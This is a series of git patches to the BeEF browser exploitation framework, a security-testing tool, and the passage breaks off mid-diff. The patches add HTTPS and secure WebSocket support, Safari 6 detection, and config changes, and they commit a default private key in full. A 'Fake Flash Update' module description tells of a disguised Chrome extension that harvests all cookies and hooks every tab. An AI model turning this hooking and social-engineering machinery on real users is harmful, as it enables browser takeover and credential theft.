| 17 ++++++++--------- 3 files changed, 15 insertions(+), 11 deletions(-) delete mode 100644 extensions/metasploit/.rpcclient.rb.swp diff --git a/core/main/logger.rb b/core/main/logger.rb index dbbb376c2..623b17ba1 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -24,7 +24,10 @@ module Core # Constructor def initialize @logs = BeEF::Core::Models::Log - @notifications = BeEF::Extension::Notifications::Notifications + @config = BeEF::Core::Configuration.instance + + # if notifications are enabled create a new instance + @notifications = BeEF::Extension::Notifications::Notifications unless @config.get('beef.extension.notifications.enable') == false end # Registers a new event in the logs @@ -48,7 +51,9 @@ module Core @logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save # if notifications are enabled send the info there too - @notifications.new(from, event, time_now, hb) + if @notifications + @notifications.new(from, event, time_now, hb) + end # return true diff --git a/extensions/metasploit/.rpcclient.rb.swp b/extensions/metasploit/.rpcclient.rb.swp deleted file mode 100644 index 9449db26428d79cdb0291e65f50f3058ef0c022c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI2ON<;x8OI9;hzBrnFmFrnc{X;>#^av#hQzS;+Fq~M@e+I2+8KLsHmg-nPt8o@ zp6;d}9xt}V;{Y+XkRVcmIB*ItZ^Z!{dL#ZT^~C)dzucI;{w}uA@*&3WB%sOd&S9;5TWnKTztFj zz|6kWR%qX@ny4I?7p3b59qGjtzuA;t zVB4;PW6ZFA+dlFNxdOQYn<=nOJTSh0Y^1o0cD(QGW|i{tT!CDHT!CDHT!CDHT!CDH zT!CDH|5F9xV2k({#FgOSdum{`&e(@e5ehxkXUU|0=7r<8Vy>|(59b5(%!K2_|upjIO ze=7*_8}NN_4J?6&!4wz=qu@TU4ZOZph~I)2!1Lg{;5zsMXoJT<4SWjh0z1Gqa5vZj z{&BYue*v$7SHO?J)8INd56*%UU^n>PJB4@=JP&>bnxGCo4W_{!@GxDRXxufrE!1y6%-f*ar(=m7SU&w$%*q_#q#(30_r>)RJf zqoPn~$R-8Ws_R>g6+ejiRgaQqbtLb@f9W;ww-Cx`$>{iv#Fde;oR-8%=+Wh?u96}_W3Gdoh_7_ybFT!Cf% zL+`v}ErC%sz2yBb!%+D6IiiRcjZb?kvp;{tG)45zIB5fuj#*8 zZM2Xpe5|%d6o`7B6`PSC#2L1N64tuL%$p0y(PE| zs>4?!Q(AVL8a`d=T;Vc?51*tZ<-%MCKi2rRuEoy1w0wK#R&8$V#CqVHIdSSy{lDm# zPewhCmF#GEH`l>lEkPV6QWbGAZ#=4@6Duv|fgE+MD7KQgjd9kTjx;^L%jHZEI$o@1 zg^X%q+cJupiA%QcdD7-UKwSq1p69m%N1YTn-Q<-`tffXUjWuYhSWrMKk`Yp%nnKDA^H$haN`Y+1~ ztwvuaOof_4HQPP$FcD6A5@bifRbhAkG+`+{$3+>2VJDJiF4_^tf%wk`aSZ82k#xw2!Wb+;h^wqdfhI7=G2UThfp9%Y%c96# zxhO+^tC7olvp!JH?$EEjw${MjBy@)M;y3o<>SI)_z^NEnD*+eJXp-fWwvw3xzZWp(t(qoXPouQHr_ipp%9Biwv#{C&K#G) zy)q}{pM%>mIdfuSV%iTS|K$@a3327}J%ngPAkUU&B;%67ZZI0|q2wxj*CahZX|;zAM%x?L9uer4a!xl+@M@V z%+XPyoG}#&zIg{zhLidhPSLylBjO0avN%c??nqzzsp@zwSH?bvH&L+R^bsut_OyCK znGVs!#ObIxF|lxF8m_4d1$;fdnH|tKE1Ah&dCm%W6k6ByRC247@DpiS#R=<$o6zX>rNZV;THo2D9O01TomJb*5U_9Y+)Nvy9nl)L7yWG{{ zZ0+Ry*%~cQEi6pU)n;d^G`~R8^K-{%YqRrn_;rG&=FZb2vvbGGBypvNHMnPh+o}6- zrxReTjnt@y6UCuZPh#0vZ#TQ*U-kTySCz))FTCp3xfv|~1h1|*D~z(Cv@lB2 z!+N!clX)8+F_a)Fp0KcnQmZ@HN<3uOk*xKDuJ@Q%OpVwiF$q&P%aKbP%Thd3u#!s- zmSf>6z9S=xwQ-ixU(uZyc3m$|1Uqq=bJ%=|*lSiV{*(q2wIp)ec7vT81yKizCmFQS$BlC$hQ zz`>mnme^`9(n7kI>M0}?xgyt_q+(Hso{(!iCN1Z>S;yMV-n8S)q)*e3+*1z3S&@;; z`Vq%f`Y*VTZp$d^FL&lE1M{knE3G{qqhCAE>z{mXtRM@wnd4(J_*pBQT|cYK9yI Date: Fri, 3 Aug 2012 23:15:43 +0100 Subject: [PATCH 084/225] remove Gemfile.lock from commit --- Gemfile.lock | 76 ---------------------------------------------------- 1 file changed, 76 deletions(-) delete mode 100644 Gemfile.lock diff --git a/Gemfile.lock b/Gemfile.lock deleted file mode 100644 index cddca4f41..000000000 --- a/Gemfile.lock +++ /dev/null @@ -1,76 +0,0 @@ -GEM - remote: http://rubygems.org/ - specs: - addressable (2.2.8) - ansi (1.4.2) - daemons (1.1.8) - data_objects (0.10.8) - addressable (~> 2.1) - dm-core (1.2.0) - addressable (~> 2.2.6) - dm-do-adapter (1.2.0) - data_objects (~> 0.10.6) - dm-core (~> 1.2.0) - dm-migrations (1.2.0) - dm-core (~> 1.2.0) - dm-sqlite-adapter (1.2.0) - dm-do-adapter (~> 1.2.0) - do_sqlite3 (~> 0.10.6) - do_sqlite3 (0.10.8) - data_objects (= 0.10.8) - em-websocket (0.3.6) - addressable (>= 2.1.1) - eventmachine (>= 0.12.9) - erubis (2.7.0) - eventmachine (0.12.10) - faraday (0.8.1) - multipart-post (~> 1.1) - jsmin (1.0.1) - json (1.7.3) - librex (0.0.65) - msfrpc-client (1.0.1) - librex (>= 0.0.32) - msgpack (>= 0.4.5) - msgpack (0.4.7) - multi_json (1.3.6) - multipart-post (1.1.5) - parseconfig (1.0.2) - rack (1.4.1) - rack-protection (1.2.0) - rack - simple_oauth (0.1.8) - sinatra (1.3.2) - rack (~> 1.3, >= 1.3.6) - rack-protection (~> 1.2) - tilt (~> 1.3, >= 1.3.3) - term-ansicolor (1.0.7) - thin (1.3.1) - daemons (>= 1.0.9) - eventmachine (>= 0.12.6) - rack (>= 1.0.0) - tilt (1.3.3) - twitter (3.3.1) - faraday (~> 0.8) - multi_json (~> 1.3) - simple_oauth (~> 0.1.6) - -PLATFORMS - ruby - -DEPENDENCIES - ansi - data_objects - dm-core - dm-migrations - dm-sqlite-adapter - em-websocket (~> 0.3.6) - erubis - eventmachine (= 0.12.10) - jsmin (~> 1.0.1) - json - msfrpc-client - parseconfig - sinatra (= 1.3.2) - term-ansicolor - thin - twitter From 35049466360b988acaf83e91977bc5c4eabd2b97 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 23:29:24 +0100 Subject: [PATCH 085/225] disable console in commited version --- config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.yaml b/config.yaml index ff55c7b43..7b05f0f76 100644 --- a/config.yaml +++ b/config.yaml @@ -85,6 +85,6 @@ beef: enable: false console: shell: - enable: true + enable: false evasion: enable: false From 2ad1ba4fbfab65f6d42e98769f208788b99bd033 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 23:59:32 +0100 Subject: [PATCH 086/225] remove superfluous notifications.rb --- core/main/notifications.rb | 55 -------------------------------------- 1 file changed, 55 deletions(-) delete mode 100644 core/main/notifications.rb diff --git a/core/main/notifications.rb b/core/main/notifications.rb deleted file mode 100644 index 6a99c2d19..000000000 --- a/core/main/notifications.rb +++ /dev/null @@ -1,55 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -module BeEF -module Core - - class Notifications - - include Singleton - - # Constructor - def initialize - @notifications = BeEF::Core::Models::Notifications - end - - # Registers a new event in the logs - # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser) - # @param [String] event The event description - # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB) - # @return [Boolean] True if the register was successful - def register(from, event, hb = 0) - # type conversion to enforce standards - hb = hb.to_i - - # arguments type checking - raise Exception::TypeError, '"from" needs to be a string' if not from.string? - raise Exception::TypeError, '"event" needs to be a string' if not event.string? - raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer? - - # logging the new event into the database - @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save - - # return - true - end - - private - @logs - - end -end -end From b58e9b955e8b49add4fa542bbcbed249e22910de Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Sun, 5 Aug 2012 16:17:18 +0800 Subject: [PATCH 087/225] Fixes Issue #733 - Thin SSL support initial release --- config.yaml | 6 ++++++ core/main/client/net.js | 3 ++- core/main/client/updater.js | 2 +- core/main/console/banners.rb | 5 +++-- core/main/server.rb | 10 +++++++++- 5 files changed, 21 insertions(+), 5 deletions(-) diff --git a/config.yaml b/config.yaml index 7b05f0f76..13dc99f53 100644 --- a/config.yaml +++ b/config.yaml @@ -51,6 +51,12 @@ beef: enable: false type: "apache" #supported: apache, iis + # Experimental HTTPS support for the hook / admin / all other Thin managed web services + https: + enable: false + key: "server.key" #This is expected to be in BeEF's root folder + cert: "server.crt" #This is expected to be in BeEF's root folder + database: # For information on using other databases please read the # README.databases file diff --git a/core/main/client/net.js b/core/main/client/net.js index 66daf0245..9b471f4fd 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -23,6 +23,7 @@ beef.net = { host:"<%= @beef_host %>", port:"<%= @beef_port %>", hook:"<%= @beef_hook %>", + httpproto:"<%= @beef_proto %>", handler:'/dh', chop:500, pad:30, //this is the amount of padding for extra params such as pc, pid and sid @@ -137,7 +138,7 @@ beef.net = { push:function (stream) { //need to implement wait feature here eventually for (var i = 0; i < stream.pc; i++) { - this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); + this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); } }, diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 4987de6f8..d8bbb13cc 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -66,7 +66,7 @@ beef.updater = { get_commands: function(http_response) { try { this.lock = true; - beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { + beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { if (response.body != null && response.body.length > 0) beef.updater.execute_commands(); }); diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb index 3621d20e9..7372c62df 100644 --- a/core/main/console/banners.rb +++ b/core/main/console/banners.rb @@ -89,12 +89,13 @@ module Banners def print_network_interfaces_routes configuration = BeEF::Core::Configuration.instance + prototxt = configuration.get("beef.http.https.enable") == true ? "https" : "http" self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array print_success "running on network interface: #{host}" beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port") - data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n" - data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n" + data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n" + data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n" print_more data end diff --git a/core/main/server.rb b/core/main/server.rb index d15ad9198..b8ba556fd 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -48,7 +48,8 @@ module BeEF 'beef_public' => @configuration.get('beef.http.public'), 'beef_public_port' => @configuration.get('beef.http.public_port'), 'beef_dns' => @configuration.get('beef.http.dns'), - 'beef_hook' => @configuration.get('beef.http.hook_file') + 'beef_hook' => @configuration.get('beef.http.hook_file'), + 'beef_proto' => @configuration.get('beef.http.https.enable') == true ? "https" : "http" } end @@ -108,6 +109,13 @@ module BeEF @configuration.get('beef.http.host'), @configuration.get('beef.http.port'), @rack_app) + + if @configuration.get('beef.http.https.enable') == true + @http_server.ssl = true + @http_server.ssl_options = {:private_key_file => $root_dir + "/" + @configuration.get('beef.http.https.key'), + :cert_chain_file => $root_dir + "/" + @configuration.get('beef.http.https.cert'), + :verify_peer => false} + end end end From 1f88bb4cc3546288713e0b5648e4e74bee66099e Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 6 Aug 2012 14:25:53 +0100 Subject: [PATCH 088/225] Added default key/cert files for HTTPS support, added a few notes about it on config.yaml --- beef_cert.pem | 19 +++++++++++++++++++ beef_key.pem | 16 ++++++++++++++++ config.yaml | 8 +++++--- 3 files changed, 40 insertions(+), 3 deletions(-) create mode 100644 beef_cert.pem create mode 100644 beef_key.pem diff --git a/beef_cert.pem b/beef_cert.pem new file mode 100644 index 000000000..9ac7ab1ba --- /dev/null +++ b/beef_cert.pem @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD +VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL +BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw +bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp +dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ +BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN +MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF +eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3 +cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2 +VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP +0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z +F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0 +kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+ +kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N +B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N +JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz +GkY0IBg9+j6XX4JwEXxCGt0a +-----END CERTIFICATE----- diff --git a/beef_key.pem b/beef_key.pem new file mode 100644 index 000000000..1c2fc0ea9 --- /dev/null +++ b/beef_key.pem @@ -0,0 +1,16 @@ +-----BEGIN PRIVATE KEY----- +MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5 +X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p +KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y +0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3 +HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6 +4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI +5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS +26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo +yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI +rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn +AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc +QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU +WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88 +yBgay+U9QuoEO425 +-----END PRIVATE KEY----- diff --git a/config.yaml b/config.yaml index 13dc99f53..ec6acf7e8 100644 --- a/config.yaml +++ b/config.yaml @@ -29,7 +29,7 @@ beef: http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" - port: "3000" + port: "443" # if running behind a nat set the public ip address here #public: "" #public_port: "" # port setting is experimental @@ -54,8 +54,10 @@ beef: # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: enable: false - key: "server.key" #This is expected to be in BeEF's root folder - cert: "server.crt" #This is expected to be in BeEF's root folder + # In production environments, be sure to use a valid certificate signed for the value + # used in beef.http.dns (the domain name of the server where you run BeEF) + key: "beef_key.pem" + cert: "beef_cert.pem" database: # For information on using other databases please read the From b3b3ae828b09d59f29793201008d182400c90df9 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 6 Aug 2012 14:30:19 +0100 Subject: [PATCH 089/225] Updated fake_flash_update module description, to specify that the Chrome extension delivery will work on Chrome <= 20 only. --- modules/social_engineering/fake_flash_update/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml index 78131d2c4..ad567c783 100644 --- a/modules/social_engineering/fake_flash_update/config.yaml +++ b/modules/social_engineering/fake_flash_update/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Social Engineering" name: "Fake Flash Update" - description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.

A chrome extenstion has privileged access and can do a whole lot..

  • - Access all tabs and inject beef into all tabs
  • - Use hooked browser as a proxy to do cross domain requests
  • - Get all cookies including HTTPonly cookies

See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source" + description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.

A chrome extenstion has privileged access and can do a whole lot..
  • - Access all tabs and inject beef into all tabs
  • - Use hooked browser as a proxy to do cross domain requests
  • - Get all cookies including HTTPonly cookies

See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source. Note: the Chrome extension delivery will work on Chrome <= 20. From Chrome 21 things changed in terms of how extensions can be loaded." authors: ["mh"] target: user_notify: ['ALL'] From dfe61f3a1786de6bae6e5518c975430ea96e289e Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 6 Aug 2012 15:06:53 +0100 Subject: [PATCH 090/225] Reverted back default port to 3000. My bad. --- config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.yaml b/config.yaml index ec6acf7e8..1aa4c98f7 100644 --- a/config.yaml +++ b/config.yaml @@ -29,7 +29,7 @@ beef: http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" - port: "443" + port: "3000" # if running behind a nat set the public ip address here #public: "" #public_port: "" # port setting is experimental From ea89b0ca646c78c58c131d2c9f6d1de79151cc0d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 6 Aug 2012 20:55:38 +0100 Subject: [PATCH 091/225] Added support for Safari 6. --- core/main/client/browser.js | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 0ca172c1d..42bfcaca0 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -211,13 +211,21 @@ beef.browser = { isS5: function() { return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); }, + + /** + * Returns true if Safari 6.xx + * @example: beef.browser.isS6() + */ + isS6: function() { + return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); + }, /** * Returns true if Safari. * @example: beef.browser.isS() */ isS: function() { - return this.isS4() || this.isS5() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); + return this.isS4() || this.isS5() || this.isS6() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); }, /** @@ -472,6 +480,7 @@ beef.browser = { S4: this.isS4(), // Safari 4.xx S5: this.isS5(), // Safari 5.xx + S6: this.isS6(), // Safari 6.x S: this.isS() // Safari any version } }, @@ -525,8 +534,9 @@ beef.browser = { if (this.isS4()) { return '4' }; // Safari 4 if (this.isS5()) { return '5' }; // Safari 5 + if (this.isS6()) { return '6' }; // Safari 5 - if (this.isO9_52()) { return '9.5'}; // Opera 9.5x + if (this.isO9_52()) { return '9.5'}; // Opera 9.5x if (this.isO9_60()) { return '9.6'}; // Opera 9.6 if (this.isO10()) { return '10' }; // Opera 10.xx if (this.isO11()) { return '11' }; // Opera 11.xx From 5697eac1234a10cd0526573b495ee548db1725c6 Mon Sep 17 00:00:00 2001 From: radoen Date: Fri, 10 Aug 2012 13:43:48 +0200 Subject: [PATCH 092/225] Added support for wss, issue #714 --- beef | 9 +- config.yaml | 9 +- core/main/client/websocket.js | 19 +- core/main/handlers/modules/beefjs.rb | 215 +++++++++--------- .../main/network_stack/websocket/websocket.rb | 84 ++++++- 5 files changed, 208 insertions(+), 128 deletions(-) diff --git a/beef b/beef index 6302be317..5b84151e6 100755 --- a/beef +++ b/beef @@ -81,7 +81,7 @@ Socket.do_not_reverse_lookup = true case config.get("beef.database.driver") when "sqlite" DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}") - when "mysql","postgres" + when "mysql", "postgres" DataMapper.setup(:default, :adapter => config.get("beef.database.driver"), :host => config.get("beef.database.db_host"), @@ -125,11 +125,12 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + if config.get("beef.http.websocket.secure") + print_info "Starting WebSocket-Secured server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + end end - - # @note Call the API method 'pre_http_start' BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) @@ -140,7 +141,7 @@ if config.get("beef.extension.console.shell.enable") == true begin FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder"))) BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt, - BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run + BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run rescue Interrupt end else diff --git a/config.yaml b/config.yaml index 1aa4c98f7..8cb8c95e2 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: false + debug: true restrictions: # subnet of browser ip addresses that can hook to the framework @@ -41,9 +41,10 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: - enable: false - secure: false # use WebSocketSecure + enable: true + secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF port: 61985 # good success rate through proxies + secure_port: 61986 #to accept wss connection alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) @@ -53,7 +54,7 @@ beef: # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: - enable: false + enable: true # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.dns (the domain name of the server where you run BeEF) key: "beef_key.pem" diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 25ccdeeba..e1cca10ee 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -27,15 +27,18 @@ beef.websocket = { var webSocketPort = <%= @websocket_port %>; var webSocketSecure = <%= @websocket_secure %>; var protocol = "ws://"; - - if(webSocketSecure) + //console.log("We are inside init"); + /*use wss only if hooked domain is under tls*/ + if(webSocketSecure && window.location.protocol=="https:"){ protocol = "wss://"; + webSocketPort= <%= @websocket_sec_port %>; + } - if (beef.browser.isFF() && !!window.MozWebSocket) { - beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + if (beef.browser.isFF() && !!window.MozWebSocket) { + beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } else { - beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } }, @@ -43,10 +46,10 @@ beef.websocket = { start:function () { new beef.websocket.init(); this.socket.onopen = function () { - //console.log("Socket has been opened!"); + //console.log("Socket has been opened!"); - /*send browser id*/ - beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); + /*send browser id*/ + beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); //console.log("Connected and Helo"); beef.websocket.alive(); } diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 0ad19d01f..5d7b164a0 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -14,126 +14,127 @@ # limitations under the License. # module BeEF -module Core -module Handlers -module Modules + module Core + module Handlers + module Modules - # @note Purpose: avoid rewriting several times the same code. - module BeEFJS + # @note Purpose: avoid rewriting several times the same code. + module BeEFJS - # Builds the default beefjs library (all default components of the library). - # @param [Object] req_host The request object - def build_beefjs!(req_host) - config = BeEF::Core::Configuration.instance - # @note set up values required to construct beefjs - beefjs = '' - # @note location of sub files - beefjs_path = "#{$root_dir}/core/main/client/" - # @note we load websocket library only if ws server is enabled in config.yalm - # check in init.js - if config.get("beef.http.websocket.enable") + # Builds the default beefjs library (all default components of the library). + # @param [Object] req_host The request object + def build_beefjs!(req_host) + config = BeEF::Core::Configuration.instance + # @note set up values required to construct beefjs + beefjs = '' + # @note location of sub files + beefjs_path = "#{$root_dir}/core/main/client/" + # @note we load websocket library only if ws server is enabled in config.yalm + # check in init.js + if config.get("beef.http.websocket.enable") - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) - else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) + else + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) - end + end - # @note construct the beefjs string from file(s) - js_sub_files.each {|js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") - } + # @note construct the beefjs string from file(s) + js_sub_files.each { |js_sub_file_name| + js_sub_file_abs_path = beefjs_path + js_sub_file_name + beefjs << (File.read(js_sub_file_abs_path) + "\n\n") + } - # @note create the config for the hooked browser session + # @note create the config for the hooked browser session - hook_session_name = config.get('beef.http.hook_session_name') - hook_session_config = BeEF::Core::Server.instance.to_h + hook_session_name = config.get('beef.http.hook_session_name') + hook_session_config = BeEF::Core::Server.instance.to_h - # @note if http_host="0.0.0.0" in config ini, use the host requested by client - if hook_session_config['beef_host'].eql? "0.0.0.0" - hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) - end + # @note if http_host="0.0.0.0" in config ini, use the host requested by client + if 